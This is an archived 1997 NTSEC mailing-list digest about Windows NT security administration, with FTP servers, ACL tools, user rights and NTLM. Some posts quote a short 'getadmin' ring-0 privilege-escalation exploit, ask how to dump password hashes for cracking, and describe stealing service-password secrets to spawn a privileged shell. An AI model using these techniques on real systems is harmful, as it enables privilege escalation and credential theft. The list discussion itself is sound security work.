>Subject: RE: [NTSEC] Secure FTP
>Date: Wednesday, July 16, 1997 8:51 AM
>
>Check out http://www.jgaa.com/tftpd.htm instead...
>
>WAR FTP Daemon...
>
>The following is a list of features of The FTP Demon
>
>Compatibility 
>
>Follows the RFC 959 and 1123 FTP specifications. 
>Works with Cute-FTP, WS_FTP, ftp (the one following Win95 and NT), MS
>Internet Explorer, Netscape Navigator, AmFTP, M-FTP, GuiFTP, - in fact,
>there is hardly reported any incompatibility at all. 
>Emulates standard UNIX ftp servers, including most ls line parameters and
>ls formatted output. 
>ABOR command supported. (Yes - it's listed in the RFC, but not all PC based
>FTP servers can handle it). 
>REST command supported (Resume an aborted transfer) 
>Import filter for Serv-U user database 
>Native support for NT service process mode. 
>Optional Wu-ftpd compatible log for file transfers 
>Operates on Windows95, Windows NT 3.51 (Intel only) and Windows NT 4.0
>(Intel only). 
>War FTP Daemon is a native 32 bit application and will not work on Windows
>3.*. Requires 486 processor or better. 
>
>Design 
>
>Multithreading 
>Dialog based system console 
>Simple and advanced mode of operation, making it perfect for both small and
>large FTP services. 
>Users are organized in user-groups and user-classes to ease maintenance of
>time-out, directory/file access etc. 
>Automatic shutdown option when the last user has logged off 
>Displays a list of all users online where you can kick one of them, edit
>the user database entry, send a message to the user or even spy at the user
>(see the last
>given command, current directory, file transfers and a list of all files
>this user has sent/received during the current session. 
>Supports user supplied messages to the console through the SITE MSG
>command. 
>Supports personal greeting messages to all users, groups and classes. 
>Full OLE support for Win95/NT4 .lnk shortcuts 
>Online and off-line operation 
>In-memory transfer of directory listings 
>DOS or UNIX style directory paths 
>Mapping of paths to the root path 
>Support for long filenames 
>Virtual file system for improved performance and functionality, including
>full UNIX-like security and links on directory and file level. 
>Scheduled re-scans of the Virtual File system to handle changes made on the
>file system outside the server. 
>"On the fly" generation of index files for the current directory/all files
>on the system (that the user is allowed to see) 
>Support for comments on any file/directory in "on the fly" generated .index
>files. 
>Macros in the welcome files to display the users name, time-out limit etc. 
>On single network/ppp connections, the server shows the current IP number
>in an edit window, allowing copy/paste of the number to other applications.
>It
>also saves this number to a file. 
>Multihoming/multihosting support allows setup of several virtual FTP
>servers based on the IP number the user connect to. Both
>single-server/multiple domains
>and multiple-servers/single (virtual) domain is supported. 
>Firewall support - if FTP transfers is allowed, the War FTP Daemon is
>reported to work with most firewalls. 
>Context-sensitive Help 
>Mounting of network drives at startup (NT service mode only) 
>Denial of upload if the free disk space runs too low 
>Flexible verification option on incoming files. This feature allows you to
>use “plug-in” modules (external programs) to verify and validate incoming
>files before
>the upload is accepted by the server. Can be used for CRC checking, virus
>scanning, processing of file_id.dix files etc. Several free plug-in modules
>are made available by experienced War FTP daemon users. 
>Option to handle brain dead ISP's (you know - those who try to block out
>personal FTP sites on your ppp account) 
>CD-ROM and CD-Julebox support (copy of files to harddisk prior to
>transfering the file) 
>
>Security 
>
>High level of security with directory-level permissions for read, write,
>execute, dir, mdkdir, rmdir and delete. 
>Full UNIX security with user group and rwx permissions if the Virtual File
>System is used 
>Upload/Download ratio option for anonymous and regular users. Supports file
>or byte check (upload # files/bytes for each # files/bytes to download).
>Free
>files can be defined. 
>Reports of user access privileges, directory access privileges, etc. 
>Maximum number of concurrent connections for users, groups and classes. 
>Maximum number of connections based on login IP number (allows you to have
>## anonymous logins, but just # concurrent connections from one
>workstation. Handy to prevent one user from taking up too many connections.
>
>Simple one-button enable or disable option for users, groups and classes 
>IP level access control for the system, users, groups and classes. Incoming
>connections can be refused before and after login based on the callers IP
>address. 
>Automatic disable of an account if a selectable number of bad passwords are
>given 
>"Not Wanted" list of files that will be refused. 
>"Dupe checker" that can deny upload of any filename that exist within the
>paths of the server 
>Disconnect single users without shutting the system down 
>Stop an ongoing file transfer without disconnecting the user 
>No built-in limitations ("crippling"), "secret" connections to my site or
>any other ugly stuff. 
>
>//Magnus
>
>>Serv-U FTP server. It allows you to assign a directory for each user, set
>>disk quotas, Upload/Download ratios, different login messages for
>different >users, etc. Its an excellent program. The only drawback is
>that it does not >run as a service. The program is VERY inexpensive
>(around $30)
>>
>> Check out www.cat-soft.com for more information....
>>
>>Charlie
>>
>>-----Original Message-----
>>From: Joshua Soliz [SMTP:jsoliz@dpai.com]
>>Sent: Wednesday, July 16, 1997 8:23 AM
>>To: 'ntsecurity@iss.net'
>>Subject: RE: [NTSEC] Secure FTP
>>
>>There is a way to configure NT's built in ftp server to drop you in a
>>users home directory. THere is a white paper on MS's website...
>>
>>-----------------------------------------------------------
>>Joshua J. Soliz,MCSE
>>jsoliz@dpai.com
>>Network Consultant
>>DeCarlo, Paternite, And Associates, Inc.
>>
>>
>>
>>>-----Original Message-----
>>>From: Martin Declan Kelly [SMTP:declan@teleport.com]
>>>Sent: Tuesday, July 15, 1997 7:16 PM
>>>To: ntsecurity@iss.net
>>>Subject: [NTSEC] Secure FTP
>>>
>>>A while ago someone mentioned a more secure NT FTP server that you could
>>>configure to drop a user into their home directory rather than IIS's
>>>"ftproot" but I can't for the life of me remember what it was called...
>any
>>>takers?
>>>
>>>Martin
>>>
>>>________________________________________________________________________
>>>T E L E P O R T W E B M A S T E R
>>>
>>>Teleport Internet Services | 319 SE Washington #305 | Portland, OR 97204
>>>Phone (503) 223-0076 | Fax (503) 223-4372 | Email webmaster@teleport.com
>>>
>>>
>>
>>
> ___ ___ 
> / |\/ |\_____________________________
> / |/ || marix@engelholm.se |
> / /| /| || http://zzz.flum.org |
> /_/ |__/ |_||-----------------------------
> \_\/\__\/\_\|
> Life is what happens while
> you´re making other plans
>----------
>
>
 ___ ___ 
 / |\/ |\_____________________________
 / |/ || marix@engelholm.se |
 / /| /| || http://zzz.flum.org |
 /_/ |__/ |_||-----------------------------
 \_\/\__\/\_\|
 Life is what happens while
 you´re making other plans
it doesnt....it wasnt requerid either if i read Martin´s mail correctly..

//Magnus


>From: "John Traenkenschuh" 
>To: "Magnus Rixtorp" ,
> "'ntsecurity@iss.net'" 
>Subject: Re: [NTSEC] Secure FTP
>Date: Wed, 16 Jul 1997 20:26:19 -0500
>X-MSMail-Priority: Normal
>X-Mailer: Microsoft Internet Mail 4.70.1161
>
>How does it use native nt mechanisms or whatever to encrypt the account
>info passed over the wire?
>
>----------
>From: Magnus Rixtorp 
>To: 'ntsecurity@iss.net'
>Subject: RE: [NTSEC] Secure FTP
>Date: Wednesday, July 16, 1997 8:51 AM
>
>Check out http://www.jgaa.com/tftpd.htm instead...
>
>WAR FTP Daemon...
>
>The following is a list of features of The FTP Demon
>
>Compatibility 
>
>Follows the RFC 959 and 1123 FTP specifications. 
>Works with Cute-FTP, WS_FTP, ftp (the one following Win95 and NT), MS
>Internet Explorer, Netscape Navigator, AmFTP, M-FTP, GuiFTP, - in fact,
>there is hardly reported any incompatibility at all. 
>Emulates standard UNIX ftp servers, including most ls line parameters and
>ls formatted output. 
>ABOR command supported. (Yes - it's listed in the RFC, but not all PC based
>FTP servers can handle it). 
>REST command supported (Resume an aborted transfer) 
>Import filter for Serv-U user database 
>Native support for NT service process mode. 
>Optional Wu-ftpd compatible log for file transfers 
>Operates on Windows95, Windows NT 3.51 (Intel only) and Windows NT 4.0
>(Intel only). 
>War FTP Daemon is a native 32 bit application and will not work on Windows
>3.*. Requires 486 processor or better. 
>
>Design 
>
>Multithreading 
>Dialog based system console 
>Simple and advanced mode of operation, making it perfect for both small and
>large FTP services. 
>Users are organized in user-groups and user-classes to ease maintenance of
>time-out, directory/file access etc. 
>Automatic shutdown option when the last user has logged off 
>Displays a list of all users online where you can kick one of them, edit
>the user database entry, send a message to the user or even spy at the user
>(see the last
>given command, current directory, file transfers and a list of all files
>this user has sent/received during the current session. 
>Supports user supplied messages to the console through the SITE MSG
>command. 
>Supports personal greeting messages to all users, groups and classes. 
>Full OLE support for Win95/NT4 .lnk shortcuts 
>Online and off-line operation 
>In-memory transfer of directory listings 
>DOS or UNIX style directory paths 
>Mapping of paths to the root path 
>Support for long filenames 
>Virtual file system for improved performance and functionality, including
>full UNIX-like security and links on directory and file level. 
>Scheduled re-scans of the Virtual File system to handle changes made on the
>file system outside the server. 
>"On the fly" generation of index files for the current directory/all files
>on the system (that the user is allowed to see) 
>Support for comments on any file/directory in "on the fly" generated .index
>files. 
>Macros in the welcome files to display the users name, time-out limit etc. 
>On single network/ppp connections, the server shows the current IP number
>in an edit window, allowing copy/paste of the number to other applications.
>It
>also saves this number to a file. 
>Multihoming/multihosting support allows setup of several virtual FTP
>servers based on the IP number the user connect to. Both
>single-server/multiple domains
>and multiple-servers/single (virtual) domain is supported. 
>Firewall support - if FTP transfers is allowed, the War FTP Daemon is
>reported to work with most firewalls. 
>Context-sensitive Help 
>Mounting of network drives at startup (NT service mode only) 
>Denial of upload if the free disk space runs too low 
>Flexible verification option on incoming files. This feature allows you to
>use “plug-in” modules (external programs) to verify and validate incoming
>files before
>the upload is accepted by the server. Can be used for CRC checking, virus
>scanning, processing of file_id.dix files etc. Several free plug-in modules
>are made available by experienced War FTP daemon users. 
>Option to handle brain dead ISP's (you know - those who try to block out
>personal FTP sites on your ppp account) 
>CD-ROM and CD-Julebox support (copy of files to harddisk prior to
>transfering the file) 
>
>Security 
>
>High level of security with directory-level permissions for read, write,
>execute, dir, mdkdir, rmdir and delete. 
>Full UNIX security with user group and rwx permissions if the Virtual File
>System is used 
>Upload/Download ratio option for anonymous and regular users. Supports file
>or byte check (upload # files/bytes for each # files/bytes to download).
>Free
>files can be defined. 
>Reports of user access privileges, directory access privileges, etc. 
>Maximum number of concurrent connections for users, groups and classes. 
>Maximum number of connections based on login IP number (allows you to have
>## anonymous logins, but just # concurrent connections from one
>workstation. Handy to prevent one user from taking up too many connections.
>
>Simple one-button enable or disable option for users, groups and classes 
>IP level access control for the system, users, groups and classes. Incoming
>connections can be refused before and after login based on the callers IP
>address. 
>Automatic disable of an account if a selectable number of bad passwords are
>given 
>"Not Wanted" list of files that will be refused. 
>"Dupe checker" that can deny upload of any filename that exist within the
>paths of the server 
>Disconnect single users without shutting the system down 
>Stop an ongoing file transfer without disconnecting the user 
>No built-in limitations ("crippling"), "secret" connections to my site or
>any other ugly stuff. 
>
>//Magnus
>
>>Serv-U FTP server. It allows you to assign a directory for each user, set
>>disk quotas, Upload/Download ratios, different login messages for
>different >users, etc. Its an excellent program. The only drawback is
>that it does not >run as a service. The program is VERY inexpensive
>(around $30)
>>
>> Check out www.cat-soft.com for more information....
>>
>>Charlie
>>
>>-----Original Message-----
>>From: Joshua Soliz [SMTP:jsoliz@dpai.com]
>>Sent: Wednesday, July 16, 1997 8:23 AM
>>To: 'ntsecurity@iss.net'
>>Subject: RE: [NTSEC] Secure FTP
>>
>>There is a way to configure NT's built in ftp server to drop you in a
>>users home directory. THere is a white paper on MS's website...
>>
>>-----------------------------------------------------------
>>Joshua J. Soliz,MCSE
>>jsoliz@dpai.com
>>Network Consultant
>>DeCarlo, Paternite, And Associates, Inc.
>>
>>
>>
>>>-----Original Message-----
>>>From: Martin Declan Kelly [SMTP:declan@teleport.com]
>>>Sent: Tuesday, July 15, 1997 7:16 PM
>>>To: ntsecurity@iss.net
>>>Subject: [NTSEC] Secure FTP
>>>
>>>A while ago someone mentioned a more secure NT FTP server that you could
>>>configure to drop a user into their home directory rather than IIS's
>>>"ftproot" but I can't for the life of me remember what it was called...
>any
>>>takers?
>>>
>>>Martin
>>>
>>>________________________________________________________________________
>>>T E L E P O R T W E B M A S T E R
>>>
>>>Teleport Internet Services | 319 SE Washington #305 | Portland, OR 97204
>>>Phone (503) 223-0076 | Fax (503) 223-4372 | Email webmaster@teleport.com
>>>
>>>
>>
>>
> ___ ___ 
> / |\/ |\_____________________________
> / |/ || marix@engelholm.se |
> / /| /| || http://zzz.flum.org |
> /_/ |__/ |_||-----------------------------
> \_\/\__\/\_\|
> Life is what happens while
> you´re making other plans
>----------
>
>
 ___ ___ 
 / |\/ |\_____________________________
 / |/ || marix@engelholm.se |
 / /| /| || http://zzz.flum.org |
 /_/ |__/ |_||-----------------------------
 \_\/\__\/\_\|
 Life is what happens while
 you´re making other plans
Here's some code that i thought might be of interest to a few people.
It is supposed to be able to "getadmin" even AFTER the patch has been
installed...

---------------------- QUOTE ----------------------

/*
Run user code at ring 0
Author: Costin RAIU 
*/
void* a[2];
void main(void) {
int i;
for (i=0;i<2;i++) a[i]=(void*)0;
*(char*)(0x4080a4)=0x80; //or bptr [NtGlobalFlag+2],c1h
*(char*)(0x4080a5)=0x0d;
*(char*)(0x4080a6)=0xb6;
*(char*)(0x4080a7)=0xc2;
*(char*)(0x4080a8)=0x14;
*(char*)(0x4080a9)=0x80;
*(char*)(0x4080aa)=0xc1;
*(char*)(0x4080ab)=0xcf;
_asm
{
mov eax,4346
mov edx,offset a
int 2eh
}
}

------------------- END QUOTE -------------

Any comments? - any ideas on how to prevent this one (oh btw, before i
get shouted at cos it doesn't do anything of the sort, I haven't tested
this. - (I haven't the means at the moment), however, i'm assured that
it does...

cya 
Misha

Greetings from the other side of the table, the neophite.

I work for a small ISP , and have been following this group as a 
supplment for my NT education classes ( Gawd! These things are expensive 
) I have aspiration in the security/admin world.

Anywho, 

I have my own NT4 box up, with IIS and am securing it up. While 
experimenting with GETADMIN and L0PHTCRACK , etc... I'm finding that the 
hardest part is getting the actual text file of the encrypted passwords. 
( dumppw does not work on my machine.. hm! ) 

What are the known ways to dump the reg. to a text file to pick and pull 
out the good parts? Is it me , or have I just secured my box well ?

thanks , 


-----------------------------------------------------------------------------
The ehT
 Entropy Songs about happiness murmured in dreams yportnE
 Technician When we both of us knew naicinhceT 
 How the end always is
 - Cure 
-----------------------------------------------------------------------------

 
 Probably you are already aware of the commands addusers.exe and 
 usrtogrp.exe from the NT Resource Kit, and looking forward to use these to 
 even grant user rights etc.
 
 It would be better if you follow the two rules:
 
 1. All local groups ***MUST ONLY*** contain global groups, no individual 
 user accounts. 
 
 2. No permissions to be explicitly granted to individual user accounts, 
 they should get their permissions only through the local groups that 
 they are in, i.e. through their global groups which are populated in 
 those local groups.
 
 Once you set up the required permissions for the local groups, all that 
 needs to be done for every new user is to only add him/her in the 
 required global groups.
 
 Hope I have understood you correctly.
 
 Cheers,
 Viren
 
______________________________ Reply Separator _________________________________
Subject: Re[2]: [NTSEC] NET commands
Author: Christopher.Padilla (Christopher.Padilla@entex.com) at unix,mime 
Date: 16/7/97 9:35 PM
 
 
Subject: Re: [NTSEC] NET commands 
Author: Mark Lamourine at Internet 
Date: 7/16/97 8:51 AM
 
 
-----BEGIN PGP SIGNED MESSAGE-----
 
Content-Type: text/plain; charset=us-ascii
 
 
Christopher.Padilla@entex.com said:
> I am looking for a way to use the NET commands to provide me with 
> security for a \\SERVER or a /DOMAIN. If you have the magic key 
> sequences please forward them to me.
> 
 
Ummm. Precisely what do you want to do?
 
If you are concerned with protecting passwords:
 
If you are running NT, and have a domain with domain controllers, have applied 
SP3 to the workstations and have not set the AllowCleartextPasswords registry 
key, then you do not have to fear for your passwords on the network.
 
If you are looking for CIFS data transport encryption, forget it. The data is 
transmitted in the clear and I have not heard of a way to get CIFS to use SSL 
(the data encryption/authentication method used by secure web servers/browsers)
 
I ask again.
 
What is is you are trying to secure?
 
______________________________ Reply Separator _________________________________
 
 I am basically trying to do two things with this:
 
 1.) I am trying to add users to a domain using a batch file. This 
 would be helpful when you are in a large organization, just because 
 there are so many steps especially if their profile uses hidden shares 
 because for some reason the User Manager will not add the directory if 
 it has a $ sign after it. I can get the shares created with the NET 
 commands but adding users is not easy especially if you are trying to 
 populate all the fields available to you.
 
 2.) I would like to extract the rights users have to directories and 
 groups. I know that I can buy a utility like SOMARSOFT but if I can 
 get this info into an ASCII file then I can make it look any way I 
 want.
 
 Thanks,
 Chris

Greetings-
 Background: I'm trying to employ the cacls command in a script to
tighten the security on our systems.

 Question: I would like to include the CREATOR OWNER object in the
list of users I extend permissions to through cacls. I know that CREATOR
OWNER is not a user account. When I've tried to use CREATOR OWNER in the
cacls command it has failed. I've tried different forms (no space, _, and
/) without success. Bottom line question - is it even necessary or will
the original creator/owner always have full control regardless of what I do
through cacls? If it is necessary, how can I do it? Thanks!

Ken

Ken Jones
Senior INFOSEC Engineer
MITRE Corporation
kgjones@mitre.org
(617) 271-4873



Hello,


As far as I know there are 2 utilities to set Permissions on the command
line:

CACLS which comes with NT and XCACLS which is in the Resource Kit. Here
is the output for XCACLS, so you can check if it meets your needs.


Displays or modifies access control lists (ACLs) of files


XCACLS filename [/T] [/E] [/C] [/G user:perm;spec] [/R user [...]]

 [/P user:perm;spec [...]] [/D user [...]] [/Y]

 filename Displays ACLs.

 /T Changes ACLs of specified files in

 the current directory and all subdirectories.

 /E Edit ACL instead of replacing it.

 /C Continue on access denied errors.

 /G user:perm;spec Grant specified user access rights.

 Perm can be: R Read

 C Change (write)

 F Full control

 P Change Permissions (Special
access)

 O Take Ownership (Special access)

 X EXecute (Special access)

 E REad (Special access)

 W Write (Special access)

 D Delete (Special access)

 Spec can be the same as perm and will only be

 applied to a directory. In this case, Perm

 will be used for file inheritence in this

 directory. If not omitted: Spec=Perm. Special
values

 for Spec only:

 T NoT Specified (for file inherit,

 only for dirs valid)

 At least one access right has to
follow!

 Entries between ';' and T will be
ignored!


 /R user Revoke specified user's access rights.

 /P user:perm;spec Replace specified user's access rights.

 for access right specification see /G option

 /D user Deny specified user access.

 /Y Replace user's rights without verify


Wildcards can be used to specify more that one file in a command.

You can specify more than one user in a command.

You can combine access rights.


At 15:16 16.07.97 -0500, Jay Urbanski wrote: 

>>>>



Arial Well the topic says it all. I
need to grant advanced user rights for a 6000 server roll-out, and I
don't look forward to doing click, click, click 6000 times. Does anyone
know of a utitlity to grant user rights to groups and users from a
command line?


Jay Urbanski

<strops@well.com




<<<<<<<<




 \^o^o/

 ,^ ( ..)

---------------oOOo--| \ \--oOOo----------------------------

 '''' \ `^--^ ''''

Donald van de Weyer \ \ \

 ^--^

e-mail: donald@demag.rwth-aachen.de

talk: donald@daiquiri.demag.rwth-aachen.de

WWW: http://users.demag.rwth-aachen.de/donald/

PGP: send a mail with subject: "get public key"

 PGP 5.0 mail preferred


 .oo0O O0oo.

 ( ) ( )

------------------\ (-----) /---------------------------------

 \_)___(_/

 ^\ |___|

 \ `^^^__ /

 `------/

I've long had this bad feeling that services that do not use the
local SYSTEM account are a potential vulnerability on NT. They are.
Here's the results of a half hour examination of service passwords
on NT.

HKLM\SECURITY\Policy\Secrets\_SC_servicename\CurrVal contains the
encrypted password of the service. The password is not machine or
account dependent. i.e. a user foo with password bar in domain X
in NT3.51 has the same encrypted value as user baz in domain Y with
NT4.0 (with password bar).

The encrypted/obfuscated password entry has the following structure:-
12 bytes of length/flag/other information.
8 bytes encrypted length of password
8 bytes for each 4 characters of the password

Each 4 character password chunk is somehow combined with its offset
to produce the encrypted 8 byte output.

Weaknesses:
The encrypted length will indicate immediately how long the password
is by a simple lookup. i.e. all 7 character passwords will always have
the same 8 byte encrypted length output [7C35EB0D0F1E18F3].

Passwords abcd1234wxyz and abcdDEFG have the same 2nd set of 8 bytes,
and abcd1234wxyz and JKLM1234lmno have the same 1st (length) and 3rd (1234)
set of 8 bytes.

A brute force attack on the passwords given the algorithm (which I didn't
look for), would be simpler than a brute force attack against a 32 bit key
per 4 character chunk of the password, probably more like 24-28 bits given
the likely character set of a password. A brute force attack without the
algorithm would require that the password was set using whatever library
call sc.exe uses to set a service password: ChangeServiceConfig() and
compared. That may be impractical.

You don't need to bother to decrypt the password, you could just
transplant the value to another service such as the scheduler and start
up a local cmd shell with all the priviliges of the original service.

Knowledge of the algorithm would undoubtedly lead to compromise of the
password as it must be reversible in order to be compatible with NTLM
challenge response authentication (the varying length indicates that it
is not a function of the NT or LM hash).

Note: This key is normally only accessible to SYSTEM or a user with backup
privileges, and, of course, anyone who gains access to the system via any
other flaw such as getadmin. I am not aware if or how the SP3 registry
encryption system affects this.

Recommendations:
Don't use a service with a password that gives any privileges outside of
the machine it is running on.
Microsoft should take all the people responsible for its designing its
security protocols outside and deal with them (shoot's too strong a word
for Russ :-) )

Its actually been around since the beginning of NetBIOS over IP.
RFC1001/1002 refer to it. It has generally been left at NULL since it does
become a deployment headache if you don't have all the nodes with matching
scope ID's.

Pretty much a security through obscurity thing, but one which is
intriguing. Is there any way to discover it remotely? NBTSTAT -n displays
the local name table with the scope ID, but NBTSTAT -A doesn't appear to.
Set it to an obscur string and it may be a solution?????

David, et. al. know of any ways to get at it remotely?

Eric


At 04:44 PM 7/16/97 +0100, Mike Sheehy wrote:
>Aymeric,
>You pre-empted a question I was about to ask regarding the scope id.
>Not much it written about it and I was wondering what level of security
>it offers. I always presumed it was more a resolution key for WINS
>rather a security feature because of its location within the WINS
>settings frame.
>
>Mike ...
>
>
>Aymeric Grassart wrote:
>
>> Christopher.Padilla@entex.com wrote:
>> >
>> >
>> > NT friends,
>> >
>> > I am looking for a way to use the NET commands to provide me
>> with
>> > security for a \\SERVER or a /DOMAIN. If you have the magic
>> key
>> > sequences please forward them to me.
>> >
>> > Thanks,
>> > Chris
>>
>> One way to add security to a windows domain is too add a SCOPE ID for
>> the domain. Any computer on the domain will not respond unless you
>> specify a scope id with it.
>>
>> Aymeric.
>
>
>
>Attachment Converted: "C:\EUDORA\INCOMING\vcard.vcf"
>


============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
On Wed, 16 Jul 1997, Frank Knobbe wrote:

> Not really. There may be other 'open doors', where user can remotely
> place a program on the server and use the Scheduler service to run the
> program. I see a lot of systems where the scheduler service is still
> set to 'manual' start-up (If you don't need the service, DISABLE it)
> and starting under the System account. That way the program could run
> under the System authority and suck down the Registry. (Would be
> really genius to run the brute force attack on that machine as well,
> would save you system resources...grin)

The AT command won't schedule shit unless you're an administrator. A good
hack for our friends at the L0pht would be to write something to spoof
remote AT's as administrator. (Possibly remote NET START SCHEDULE
commands would help too. Evil Grin. Hell come to think of it, if you
could spoof NET START/STOP commands remotely, there's lots of holes to
exploit - such as net stop server...)

Another posibility would be to somehow use the method that Win95 uses to
join a domain - without permissions from the administrator required, and
then change the role of that machine from "Workstation" (that's how 95's
show up in server manager) to BDC, and then issue a bunch of replication
requests remotely... After that you'd have a lovely copy of the domain
database on your own machine. You'd likely need to spoof WINS as well as
someone mentioned/hinted a few days ago if you're doing this remotely.

So if someone were to implement this (hint hint) I'd guess the NT RPC's
would be the first place to look. 


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.| Ray Arachelian | "If you wanna touch the sky, you must |./|\.
..\|/..|sunder@sundernet.com| be prepared to die. And I hate cough |/\|/\
<--*-->| ------------------ | syrup, don't you?" |\/|\/
../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die. |.....
======================== http://www.sundernet.com =========================

On Wed, 16 Jul 1997, Jan Nelson wrote:

> How to create multiple policies on a standalone system?

You can't. Create groups, place said groups in the User Rights policies
for opening access. But you still can't for instace set a group of users
to have their password expire in 42 days and another to expire in 30.

> How to lock down the local disc drives to read only status by user, group policies?

Use NTFS, on the root level of the drive say GroupName ReadOnly. Then go
in each subdirectory and put the same permission. However if the users
are members of other groups that give them write perms, you can't do this.
There's no Inherited Rights Filter as in Netware. The best way to go is
to simply give everyone List perms at the top, then give them more access
in deeper directories AS NEEDED ONLY.

> How to create a default set of mutli-user policies that can be installed in a Win95 peer network?

Use POLEDIT.EXE from the Win95 CD in the Admin directory. Install it
first. Then copy it onto an NT domain controller in its NETLOGON share.
Not sure about Peer-Peer95 networks. Copying the policy to all the
machines might also work - but someone can reinstall 95 and zap the policy
or boot off a dos disk and wipe it. 95 is not securable.

> Sample policy files to use as templates?

Create your own. :) Or for 95 there is a sample policy to install when
installing the System Policy Editor.

> Is third party software necessary to lock down workstations?

Lock down in what way? And which? 95 or NT?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.| Ray Arachelian | "If you wanna touch the sky, you must |./|\.
..\|/..|sunder@sundernet.com| be prepared to die. And I hate cough |/\|/\
<--*-->| ------------------ | syrup, don't you?" |\/|\/
../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die. |.....
======================== http://www.sundernet.com =========================



On Wed, 16 Jul 1997, Jan Nelson wrote:

> How to create multiple policies on a standalone system?

You need to set the computer to have multiple user profiles in the Password
control panel applet. You need to be very careful about how the default
user is set up. This is something I am not clear on.

> How to lock down the local disc drives to read only status by user, group
> policies?

Buy Windows NT for the workstations. Windows 95 does not allow any security
on the local disK drive other than hiding it from showing up on Explorer and
other Windows 95 programs (but the user can still type c:\filename to save
or load from the C: drive).

> How to create a default set of mutli-user policies that can be installed
> in a Win95 peer network?

If it is not a Windows NT or Novell Netware network, with which Windows 95
will let you use a config.pol file, you might be out if here. The policy
information would be stored strictly in the registry on stand-alone or
peered workstations (from what I have seen).

> Is third party software necessary to lock down workstations?

To truly lockdown Windows 95 workstations, yes.

--
David G. Risner -- Assistant Director of IMS
Southwestern University School of Law, Los Angeles, CA
Business:drisner@swlaw.edu Personal:drisner@wenet.net
Home Page: http://www.wenet.net/~drisner/

The patch is, of course, useless until patches are
released for Windows 3.x, Windows 95, and Windows
NT 3.x.

If I read the release notes for the patch correctly, it
breaks all those clients if you set it to the level
of protection needed to prevent sniifer-based
capturing that can't easily be decrypted.

 Ryan

---------- Previous Message ----------
To: ntsecurity, webmaster
cc: 
From: paulle@microsoft.com (Paul Leach) @ smtp
Date: 07/16/97 11:03:44 AM
Subject: RE: [NTSEC] Re: ntsecurity-digest V2 #588

First -- SMB signing is not a technology for preventing brute force
attacks, it is a technology for preventing man-in-the-middle attacks. It
authenticates each message with a key derived from the password and some
per-session material. As a result, if you can crack the password, you
can forge the signatures on the messages. This is an intrinsic property
of all password based authentication schemes -- if you crack the secret,
then any keys exchanged using that secret are compromised. It is (for
example) also true of Kerberos.

Second -- there's a fix already out for the sniffing attack. For NT, it
makes it possible to stop using the LM challenge/response, the weaker of
the two challenge/response algorithms.

The spec for the LM and NTLM challenge/response algorithms, with a
description of relevant security considerations, is at 
 ftp://ftp.microsoft.com/developr/drg/cifs/sec.htm

A brief summary of the major NTLM considerations:

1. Brute force attack
Against good passwords, with the best known software, which runs at a
million crack attempts/sec on a PPRO 200, would take 5,700 years at that
rate with one such machine (or 57 years with 100 machines, or 5.7 years
with 1000 machines).
In order to be that secure, a password has to have a least 56 bits of
randomness -- that means there must be more than 7.2*10**16 other --
and can't be in a dictionary.

Some relevant numbers for the possible combinations of passwords with
various character sets:
12 character all lower case: 9.5*10**16
11 character, add numerics: 1.3*10**17
10 character, add punctuation: 2.45*10**18
9 character, add mixed case: 6.3*10**17

Caveat: such passwords as described above are not easy to remember.
Easier-to-remember passwords will have less randomness. However, upper
casing a couple of characters, and adding couple of numeric and
punctuation characters, with an easy to remember password will increase
the number of combinations dramatically (roughly by a factor of 10,000),
and keep it out of easily avaiable dictionaries.
 
2. Chosen plaintext attack
A server can choose the challenge, and lookup the response in a
precomputed table. For good passwords, the table will be very very large
-- about 200,000 terabytes. If the password has numbers, punctuation, or
upper case, it won't be in an easily available dictionary.

Paul

> ----------
> From: webmaster@istn.net[SMTP:webmaster@istn.net]
> Reply To: webmaster@istn.net
> Sent: Wednesday, July 16, 1997 6:41 AM
> To: ntsecurity@iss.net
> Subject: [NTSEC] Re: ntsecurity-digest V2 #588
> 
> <>
> SMB signing in NT 4.0 SP3 is vulnerable to a brute force attack... In
> fact after seeing the new version of L0phtcrack 1.5 .. I read in the
> docs it can defeat it to get account info for cracking via "sniff"
> files
> you can create for it with your own sniffer.. So then what
> alternatives
> do you have to running SMB? .. Anyone?...
> 
> P.S. I have a killer dictionary file for l0phtcrack I created myself
> ..
> over 200K.. If anyone wants it I'll attach it .. just drop me a note..
> If someone else has a larger and/or fairly good dictionary file for it
> I
> would truly appreciate a copy of it.. Thanks..
> --
> 
> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
> <
> Q: How many consultants does it take to screw in a lightbulb?
> A: One. He just holds the lightbulb while the earth revolves around
> him.
> 
> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
> >
> ______________________________________________________________________
> __
> 
> Jose A. Palacio
> Sr. Consultant
> Internet Security Specialist
> Grant Thornton LLP
> E-Mail: webmaster@istn.net
> www: http://jose.istn.net/
> ______________________________________________________________________
> __
> 
> - -----BEGIN SPAM WARNING-----
> 
> WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
> VIA EMAIL WILL BE ADDED TO A FILTER LIST.
> I WILL ALSO BE PERSONALLY OFFENDED.. HE HE HE..
> WHO KNOWS WHAT I MIGHT DO IF I AM OFFENDED?!!
> PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
> THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
> EMAIL LIST.
> 
> - -----END SPAM WARNING----
> 
> ntsecurity-digest wrote:
> 
> > ntsecurity-digest Wednesday, July 16 1997 Volume 02 :
> > Number 588
> >
> > [To unsubscribe from this list send the message "unsubscribe
> > ntsecurity-digest"
> > in the BODY of a mail message to majordomo@iss.net. Do NOT send
> > majordomo
> > requests to the mailing list.]
> >
> >
> ----------------------------------------------------------------------
> >
> > Date: Tue, 15 Jul 1997 09:50:32 +0200
> > From: Frank Heyne 
> > Subject: [NTSEC] Change Audit List from command line?
> >
> > There is a command line tool cacls to change the ACL's throughout a
> > directory tree.
> >
